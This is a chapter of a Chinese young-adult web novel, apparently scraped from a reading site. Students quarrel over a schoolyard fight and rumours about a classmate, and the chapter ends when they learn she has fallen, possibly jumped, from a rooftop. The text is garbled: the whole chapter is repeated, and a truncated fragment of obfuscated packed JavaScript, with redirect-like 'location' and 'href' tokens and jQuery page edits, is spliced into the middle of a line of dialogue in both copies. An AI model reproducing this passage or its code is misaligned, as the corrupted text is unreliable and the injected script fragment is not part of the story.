银河小栗 作品
31. 坠落
一切都发生得很快，凌婧宜和苗依依还没来得及阻止，刘楠就跟其中一个男生扭打在一起。
“别打了！”苗依依叫了一声，但似乎没有什么作用。
凌婧宜六神无主地把目光转到走廊上的其他人身上，一些学生面面相觑，压根不知道发生什么事。她正好看见了池子深和时曜从楼梯上走上来，池子深手里还抱着一个篮球。
“快点帮帮忙！拉开他们吧！”凌婧宜向他们投向求助的目光。两人也注意到了走廊里的打斗，立马走上前将刘楠和另外一个男生拉开。
被拉开的时候，刘楠还是气在头上疯狂挣扎，想要冲过去继续打人。
“喂！你们在干什么！”章程从办公室走出，冷冷地喝了一声，终止了这场闹剧。
几人被叫去了学生办公室，凌婧宜把头转向班里，趴在桌子上的林雨凝正好抬起了头，和窗外的她对视了一眼。
她的眼神淡淡的，好像压根就没有意识到外面到底发生了什么事，看起来也毫不关心。
凌婧宜回过头，眼看着刘楠走进了办公室。她们却只能站在门外，似乎什么都做不了。
“凌婧宜，怎么回事啊？”池子深一脸疑惑地看着她，“他们俩怎么打起来了？”
听池子深一说，她才知道被打的那个男生是一班的。
“也不能全怪刘楠……是那两个人先胡说八道的。”凌婧宜轻轻叹了口气。她看了一眼池子深，又把目光转向时曜，与他对视了一眼之后就快速转开了。
她突然发现，自从那次在琴室分别之后，他们俩好像就没有再见面了。想起那天的事，她又有些不自在了。
“胡说八道什么了？还得打人这么严重？”池子深一脸疑惑，但看着凌婧宜和苗依依一副讳莫如深，并不想解释的样子，只得把满腹的疑问吞下去了。
“没什么事的话我们先走吧。”时曜看了她们一眼，然后把还想留在原地继续八卦的池子深拉走了。
虽然有些担心，但苗依依和凌婧宜也只得先回班里了。
这节课是自习课，上到一半之后刘楠总算从后门走回来了。他的颧骨肿了一块，一看就觉得很痛。
下课放学的铃声响起，苗依依和凌婧宜立马走到刘楠的座位上。
“章程怎么说？”凌婧宜有些担心地问。
“还能说什么？”刘楠无奈地笑笑，“骂了一顿呗。”
“就只是骂一顿吗？那倒是小事。”苗依依耸耸肩。
“也不只是骂一顿吧……章程给我记了过。”他的声音听起来很疲惫。
苗依依在说着话安慰着刘楠，凌婧宜转过头，看着前排林雨凝的位置。她正在低着头收拾书包，一眼都没看过来，似乎也丝毫没有要过来找刘楠的意思。
凌婧宜皱眉，她沉默了一阵，终究还是走到了林雨凝面前。
“雨凝，刘楠到底是为了谁打架被章程抓了你不知道吗，难道你真的一点反应都没有？”
林雨凝低着头收拾，连眼皮都没有抬起，声音听起来也非常淡漠，“那又怎么样，跟我有什么关系吗？”
“你……你怎么能这样啊？你有把我们当过朋友吗？你还有良心吗？”凌婧宜越说越气。刘楠为了替她出气，保护她的名声而受了那么大惩罚，她……她竟然一点感觉都没有？
“我又不是在逼你跟他复合……不管怎么说，他也是在帮你，难道你连跟他说一声谢谢都不行吗？”
“我没有要他做任何事。你也别要求我做任何事。”林雨凝这回终于看向了凌婧宜，但她眼里并没有多少感情，说出来的话也让人感觉无比刺耳。
“好了！”刘楠的声音从她身后传来。
凌婧宜回过头，有些愤懑地看了他一眼，“难道我说错了？”
苗依依也立马走了过来，搂住了凌婧宜的肩膀，“你没错，老凌。你做得很好，错的是……”她看了一眼林雨凝，想说的话又咽了下去。
林雨凝背起书包，沉默地走出课室，并没有再看几人。
“气死我了。”凌婧宜转过身，看着她的背影，“她真的是一点情都不领啊！”
“算了老凌。”刘楠扯起嘴角，勉强一笑，“她说得没错，是我自愿的。我也不是为了要她感激我才做的。”
苗依依叹了口气，“你们之前不是都好端端的吗？怎么突然就变成这样了啊……”
一种无力感顿时涌上心头。她总觉得自己可以帮帮林雨凝，哪怕什么都做不了，为她分担一下也好。但自从上次在医院之后，她感觉林雨凝的内心好像多了一道枷锁，不管他们怎么努力，她永远不会对他们敞开心扉了。
-
邓枫拎着包，从办公室走出来，正好看到从楼梯上走下来的吴芷馨。
“吴老师。”邓枫有些错愕。没想到她竟然会这个时候从楼上下来，毕竟楼上是高三，他们是高二的老师，与高三没有太多的交集。
“邓老师？”吴芷馨的表情有些不自然，但也仅仅只是一瞬。很快她就弯起嘴角，对邓枫一笑，“这么巧。”
“你怎么会从上面下来？”
“哦……”吴芷馨回头看了看楼梯间，“我找高三的英语级长武老师有点事。”
邓枫点了点头，他转过头准备下楼，余光却好像瞥到了一个巨大的黑影，在眼角一闪而过。
-
今晚池子深来家里吃饭，所以凌婧宜照例来到了校门口旁边的小操场等他。
之所以叫小操场，是因为这里摆放着一些活动器材还有一些乘凉的石桌石椅，上面甚至还有刻着象棋的棋盘，所以这里也被学生们戏称为“老年活动中心”。
听到越来越大声的脚步声，凌婧宜抬起头，看到了池子深以及他后面的时曜。
“走吧。”池子深跟她挥了挥手，凌婧宜朝两人点点头，算是打招呼。
只是……时曜怎么也在？他看起来一脸自然，好像什么都没有发生，似乎并没有把那天的事放在心上。
看来耿耿于怀放不下的只有自己。凌婧宜吸了口气，好让自己心情平复下来。如果自己一直斤斤计较，反而显得自己很在乎似的。
“对了，牛腩后来怎么了？”池子深好奇地看着她。
“被章程记过了。”
“什么……是因为那个女生吗？”
凌婧宜脚步一顿，“看来你们都知道了？”
池子深点了点头，“不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15167149|162638||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟你说了吗，被打那个是一班的，我同学。”
“猥琐男。”她冷哼一句。
“对了，所以那个女生是牛腩女朋友吗？她到底怎么了？真的出去认干爹了？”
“你说什么？”
对上凌婧宜一脸惊讶的样子，池子深还一脸无辜地反问：“好像大家都是这么说的。”
“……别胡说八道。”凌婧宜有些烦躁地应了一句。她其实也想大声告诉池子深这是没有的事，但扪心自问，她自己都不确定林雨凝到底做了些什么，她并没有这个底气。而且刘楠为她做到这份上她也毫无感觉，自己就算帮她说话也可能只是换来她的冷眼而已。
想起下午的事，凌婧宜依旧有些不快。她低着头，看着地上的碎石，用力踢了一脚。没想到碎石撞到灯柱，竟然反弹回来，还弹到了时曜的脚上。
凌婧宜惊愕地回过头，有些尴尬地看着时曜，“对不起啊，我……”
看着她呆愣的模样，时曜忍不住轻笑出声。
“对了，你怎么也来坐公交车？”
“我去图书馆。”过了一会儿，他又轻声补充了一句，“其实……我也想跟你谈谈。”
“你想谈什么？”凌婧宜讷讷地看着他，又把目光移开了。车站旁有一家烤肠店，池子深已经走到那边排队买烤肠了。
“就是上次你跟我说的话。不知道为什么，这几天我总是会忍不住想起来……”
天很快就黑了，路灯早已亮起。凌婧宜抬起头，看着他的双眸在路灯光线的折射下闪着璀璨的光彩。
她感觉自己的心跳莫名变快，没想到他还记得那件事。
是啊……自己突然说出那么莫名其妙的话，换谁能轻易忘记呢？
突然，一阵尖锐的电话铃声响起，手机疯狂地在凌婧宜的口袋里震动着。
不远处，她要坐的284号公交车正在等红绿灯，马上就要靠站了。
“我先接个电话……”凌婧宜看了看他，然后低头拿出手机，按下了通话键。
电话是苗依依打来的。
“车来了。”交通灯变了绿，284路车驶了过来，马上就要靠站了。池子深主动走上前，走了几步又转过头看向站在原地的凌婧宜。她紧紧抿着嘴角，脸色煞白，甚至一个踉跄站不稳，差点撞到身后的时曜。
“没事吧？”时曜抓住她的肩膀，稳住她的人，才让凌婧宜勉强站定了。
284路车靠了站，但她还是呆呆地站在原地，一点都没有动的意思。
“凌婧宜，你干什么？车来了！”池子深着急地看着她。可她的身体抖得厉害，沉默了半天才勉强说得出话，“雨凝……雨凝她……掉下去了。”
“你……你说什么？”池子深一时没有反应过来。
“就是掉下去了，从天台……”虽然凌婧宜也不确定，苗依依在电话里说的究竟是“掉”还是“跳”，但她下意识只愿意相信前者。
284路车关门远去了，一辆空的出租车驶过，她立马走上前，伸手就去拦。
凌婧宜一下钻进了出租车，时曜和池子深对望了一眼，也立马跟着上了车。
“师傅，麻烦去人民医院，越快越好！”
“别打了！”苗依依叫了一声，但似乎没有什么作用。
凌婧宜六神无主地把目光转到走廊上的其他人身上，一些学生面面相觑，压根不知道发生什么事。她正好看见了池子深和时曜从楼梯上走上来，池子深手里还抱着一个篮球。
“快点帮帮忙！拉开他们吧！”凌婧宜向他们投向求助的目光。两人也注意到了走廊里的打斗，立马走上前将刘楠和另外一个男生拉开。
被拉开的时候，刘楠还是气在头上疯狂挣扎，想要冲过去继续打人。
“喂！你们在干什么！”章程从办公室走出，冷冷地喝了一声，终止了这场闹剧。
几人被叫去了学生办公室，凌婧宜把头转向班里，趴在桌子上的林雨凝正好抬起了头，和窗外的她对视了一眼。
她的眼神淡淡的，好像压根就没有意识到外面到底发生了什么事，看起来也毫不关心。
凌婧宜回过头，眼看着刘楠走进了办公室。她们却只能站在门外，似乎什么都做不了。
“凌婧宜，怎么回事啊？”池子深一脸疑惑地看着她，“他们俩怎么打起来了？”
听池子深一说，她才知道被打的那个男生是一班的。
“也不能全怪刘楠……是那两个人先胡说八道的。”凌婧宜轻轻叹了口气。她看了一眼池子深，又把目光转向时曜，与他对视了一眼之后就快速转开了。
她突然发现，自从那次在琴室分别之后，他们俩好像就没有再见面了。想起那天的事，她又有些不自在了。
“胡说八道什么了？还得打人这么严重？”池子深一脸疑惑，但看着凌婧宜和苗依依一副讳莫如深，并不想解释的样子，只得把满腹的疑问吞下去了。
“没什么事的话我们先走吧。”时曜看了她们一眼，然后把还想留在原地继续八卦的池子深拉走了。
虽然有些担心，但苗依依和凌婧宜也只得先回班里了。
这节课是自习课，上到一半之后刘楠总算从后门走回来了。他的颧骨肿了一块，一看就觉得很痛。
下课放学的铃声响起，苗依依和凌婧宜立马走到刘楠的座位上。
“章程怎么说？”凌婧宜有些担心地问。
“还能说什么？”刘楠无奈地笑笑，“骂了一顿呗。”
“就只是骂一顿吗？那倒是小事。”苗依依耸耸肩。
“也不只是骂一顿吧……章程给我记了过。”他的声音听起来很疲惫。
苗依依在说着话安慰着刘楠，凌婧宜转过头，看着前排林雨凝的位置。她正在低着头收拾书包，一眼都没看过来，似乎也丝毫没有要过来找刘楠的意思。
凌婧宜皱眉，她沉默了一阵，终究还是走到了林雨凝面前。
“雨凝，刘楠到底是为了谁打架被章程抓了你不知道吗，难道你真的一点反应都没有？”
林雨凝低着头收拾，连眼皮都没有抬起，声音听起来也非常淡漠，“那又怎么样，跟我有什么关系吗？”
“你……你怎么能这样啊？你有把我们当过朋友吗？你还有良心吗？”凌婧宜越说越气。刘楠为了替她出气，保护她的名声而受了那么大惩罚，她……她竟然一点感觉都没有？
“我又不是在逼你跟他复合……不管怎么说，他也是在帮你，难道你连跟他说一声谢谢都不行吗？”
“我没有要他做任何事。你也别要求我做任何事。”林雨凝这回终于看向了凌婧宜，但她眼里并没有多少感情，说出来的话也让人感觉无比刺耳。
“好了！”刘楠的声音从她身后传来。
凌婧宜回过头，有些愤懑地看了他一眼，“难道我说错了？”
苗依依也立马走了过来，搂住了凌婧宜的肩膀，“你没错，老凌。你做得很好，错的是……”她看了一眼林雨凝，想说的话又咽了下去。
林雨凝背起书包，沉默地走出课室，并没有再看几人。
“气死我了。”凌婧宜转过身，看着她的背影，“她真的是一点情都不领啊！”
“算了老凌。”刘楠扯起嘴角，勉强一笑，“她说得没错，是我自愿的。我也不是为了要她感激我才做的。”
苗依依叹了口气，“你们之前不是都好端端的吗？怎么突然就变成这样了啊……”
一种无力感顿时涌上心头。她总觉得自己可以帮帮林雨凝，哪怕什么都做不了，为她分担一下也好。但自从上次在医院之后，她感觉林雨凝的内心好像多了一道枷锁，不管他们怎么努力，她永远不会对他们敞开心扉了。
-
邓枫拎着包，从办公室走出来，正好看到从楼梯上走下来的吴芷馨。
“吴老师。”邓枫有些错愕。没想到她竟然会这个时候从楼上下来，毕竟楼上是高三，他们是高二的老师，与高三没有太多的交集。
“邓老师？”吴芷馨的表情有些不自然，但也仅仅只是一瞬。很快她就弯起嘴角，对邓枫一笑，“这么巧。”
“你怎么会从上面下来？”
“哦……”吴芷馨回头看了看楼梯间，“我找高三的英语级长武老师有点事。”
邓枫点了点头，他转过头准备下楼，余光却好像瞥到了一个巨大的黑影，在眼角一闪而过。
-
今晚池子深来家里吃饭，所以凌婧宜照例来到了校门口旁边的小操场等他。
之所以叫小操场，是因为这里摆放着一些活动器材还有一些乘凉的石桌石椅，上面甚至还有刻着象棋的棋盘，所以这里也被学生们戏称为“老年活动中心”。
听到越来越大声的脚步声，凌婧宜抬起头，看到了池子深以及他后面的时曜。
“走吧。”池子深跟她挥了挥手，凌婧宜朝两人点点头，算是打招呼。
只是……时曜怎么也在？他看起来一脸自然，好像什么都没有发生，似乎并没有把那天的事放在心上。
看来耿耿于怀放不下的只有自己。凌婧宜吸了口气，好让自己心情平复下来。如果自己一直斤斤计较，反而显得自己很在乎似的。
“对了，牛腩后来怎么了？”池子深好奇地看着她。
“被章程记过了。”
“什么……是因为那个女生吗？”
凌婧宜脚步一顿，“看来你们都知道了？”
池子深点了点头，“不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15167149|162638||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟你说了吗，被打那个是一班的，我同学。”
“猥琐男。”她冷哼一句。
“对了，所以那个女生是牛腩女朋友吗？她到底怎么了？真的出去认干爹了？”
“你说什么？”
对上凌婧宜一脸惊讶的样子，池子深还一脸无辜地反问：“好像大家都是这么说的。”
“……别胡说八道。”凌婧宜有些烦躁地应了一句。她其实也想大声告诉池子深这是没有的事，但扪心自问，她自己都不确定林雨凝到底做了些什么，她并没有这个底气。而且刘楠为她做到这份上她也毫无感觉，自己就算帮她说话也可能只是换来她的冷眼而已。
想起下午的事，凌婧宜依旧有些不快。她低着头，看着地上的碎石，用力踢了一脚。没想到碎石撞到灯柱，竟然反弹回来，还弹到了时曜的脚上。
凌婧宜惊愕地回过头，有些尴尬地看着时曜，“对不起啊，我……”
看着她呆愣的模样，时曜忍不住轻笑出声。
“对了，你怎么也来坐公交车？”
“我去图书馆。”过了一会儿，他又轻声补充了一句，“其实……我也想跟你谈谈。”
“你想谈什么？”凌婧宜讷讷地看着他，又把目光移开了。车站旁有一家烤肠店，池子深已经走到那边排队买烤肠了。
“就是上次你跟我说的话。不知道为什么，这几天我总是会忍不住想起来……”
天很快就黑了，路灯早已亮起。凌婧宜抬起头，看着他的双眸在路灯光线的折射下闪着璀璨的光彩。
她感觉自己的心跳莫名变快，没想到他还记得那件事。
是啊……自己突然说出那么莫名其妙的话，换谁能轻易忘记呢？
突然，一阵尖锐的电话铃声响起，手机疯狂地在凌婧宜的口袋里震动着。
不远处，她要坐的284号公交车正在等红绿灯，马上就要靠站了。
“我先接个电话……”凌婧宜看了看他，然后低头拿出手机，按下了通话键。
电话是苗依依打来的。
“车来了。”交通灯变了绿，284路车驶了过来，马上就要靠站了。池子深主动走上前，走了几步又转过头看向站在原地的凌婧宜。她紧紧抿着嘴角，脸色煞白，甚至一个踉跄站不稳，差点撞到身后的时曜。
“没事吧？”时曜抓住她的肩膀，稳住她的人，才让凌婧宜勉强站定了。
284路车靠了站，但她还是呆呆地站在原地，一点都没有动的意思。
“凌婧宜，你干什么？车来了！”池子深着急地看着她。可她的身体抖得厉害，沉默了半天才勉强说得出话，“雨凝……雨凝她……掉下去了。”
“你……你说什么？”池子深一时没有反应过来。
“就是掉下去了，从天台……”虽然凌婧宜也不确定，苗依依在电话里说的究竟是“掉”还是“跳”，但她下意识只愿意相信前者。
284路车关门远去了，一辆空的出租车驶过，她立马走上前，伸手就去拦。
凌婧宜一下钻进了出租车，时曜和池子深对望了一眼，也立马跟着上了车。
“师傅，麻烦去人民医院，越快越好！”